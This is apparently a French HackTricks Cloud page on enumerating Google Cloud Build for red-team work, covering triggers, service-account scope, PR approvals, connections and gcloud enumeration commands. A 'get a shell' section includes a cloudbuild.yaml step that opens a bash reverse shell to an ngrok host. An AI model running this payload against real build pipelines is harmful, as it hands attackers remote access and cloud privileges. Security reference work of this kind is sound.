GCP - Cloud Build Enum
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Informations de base
Google Cloud Build est une plateforme CI/CD gĂ©rĂ©e qui automatise la construction et les processus de publication de logiciels, sâintĂ©grant avec des dĂ©pĂŽts de code source et prenant en charge un large Ă©ventail de langages de programmation. Elle permet aux dĂ©veloppeurs de construire, tester et dĂ©ployer du code automatiquement tout en offrant la flexibilitĂ© de personnaliser les Ă©tapes de construction et les flux de travail.
Chaque déclencheur Cloud Build est lié à un dépÎt Cloud ou directement connecté à un dépÎt externe (Github, Bitbucket et Gitlab).
Tip
Je nâai trouvĂ© aucun moyen de voler le token Github/Bitbucket dâici ou des dĂ©pĂŽts Cloud car lorsque le dĂ©pĂŽt est tĂ©lĂ©chargĂ©, il est accessible via une https://source.cloud.google.com/ URL et Github nâest pas accessible par le client.
ĂvĂ©nements
Le Cloud Build peut ĂȘtre dĂ©clenchĂ© si :
- Push vers une branche : Spécifiez la branche
- Push dâun nouveau tag : SpĂ©cifiez le tag
- Pull request : Spécifiez la branche qui reçoit le PR
- Invocation manuelle
- Message Pub/Sub : Spécifiez le sujet
- ĂvĂ©nement Webhook : Exposera une URL HTTPS et la requĂȘte doit ĂȘtre authentifiĂ©e avec un secret
Exécution
Il y a 3 options :
- Un yaml/json spécifiant les commandes à exécuter. Généralement :
/cloudbuild.yaml - Uniquement celui qui peut ĂȘtre spĂ©cifiĂ© âinlineâ dans la console web et dans le cli
- Option la plus courante
- Pertinent pour un accÚs non authentifié
- Un Dockerfile Ă construire
- Un Buildpack Ă construire
Permissions SA
Le Service Account a le scope cloud-platform, donc il peut utiliser tous les privilĂšges. Si aucun SA nâest spĂ©cifiĂ© (comme lors de la soumission), le SA par dĂ©faut <proj-number>@cloudbuild.gserviceaccount.com sera utilisĂ©.
Par dĂ©faut, aucune permission nâest donnĂ©e mais il est assez facile dâen donner :
.png)
Approbations
Il est possible de configurer un Cloud Build pour exiger des approbations pour les exécutions de construction (désactivé par défaut).
Approbations PR
Lorsque le dĂ©clencheur est un PR, parce que tout le monde peut effectuer des PR sur des dĂ©pĂŽts publics, il serait trĂšs dangereux de simplement permettre lâexĂ©cution du dĂ©clencheur avec nâimporte quel PR. Par consĂ©quent, par dĂ©faut, lâexĂ©cution ne sera automatique que pour les propriĂ©taires et les collaborateurs, et pour exĂ©cuter le dĂ©clencheur avec dâautres PRs dâutilisateurs, un propriĂ©taire ou un collaborateur doit commenter /gcbrun.
.png)
Connexions & DépÎts
Des connexions peuvent ĂȘtre créées via :
- GitHub : Cela affichera une invite OAuth demandant des permissions pour obtenir un token Github qui sera stocké dans le Secret Manager.
- GitHub Enterprise : Il demandera dâinstaller une GithubApp. Un token dâauthentification de votre hĂŽte GitHub Enterprise sera créé et stockĂ© dans ce projet en tant que secret du Secret Manager.
- GitLab / Enterprise : Vous devez fournir le token dâaccĂšs API et le token dâaccĂšs API en lecture qui seront stockĂ©s dans le Secret Manager.
Une fois quâune connexion est gĂ©nĂ©rĂ©e, vous pouvez lâutiliser pour lier des dĂ©pĂŽts auxquels le compte Github a accĂšs.
Cette option est disponible via le bouton :
.png)
Tip
Notez que les dépÎts connectés avec cette méthode sont uniquement disponibles dans les Déclencheurs utilisant la 2Úme génération.
Connecter un DépÎt
Ce nâest pas la mĂȘme chose quâune connexion. Cela permet diffĂ©rentes maniĂšres dâobtenir accĂšs Ă un dĂ©pĂŽt Github ou Bitbucket mais ne gĂ©nĂšre pas un objet de connexion, mais gĂ©nĂšre un objet de dĂ©pĂŽt (de 1Ăšre gĂ©nĂ©ration).
Cette option est disponible via le bouton :
.png)
Stockage
Parfois, Cloud Build va gĂ©nĂ©rer un nouveau stockage pour stocker les fichiers pour le dĂ©clencheur. Cela se produit par exemple dans lâexemple que GCP propose avec :
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
Un bucket de stockage appelé security-devbox_cloudbuild est créé pour stocker un .tgz avec les fichiers à utiliser.
Obtenir un shell
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
Installer gcloud Ă lâintĂ©rieur de cloud build :
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
ĂnumĂ©ration
Vous pourriez trouver des informations sensibles dans les configurations de build et les journaux.
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
Escalade de privilĂšges
AccÚs non authentifié
GCP - Cloud Build Unauthenticated Enum
Post-exploitation
GCP - Cloud Build Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

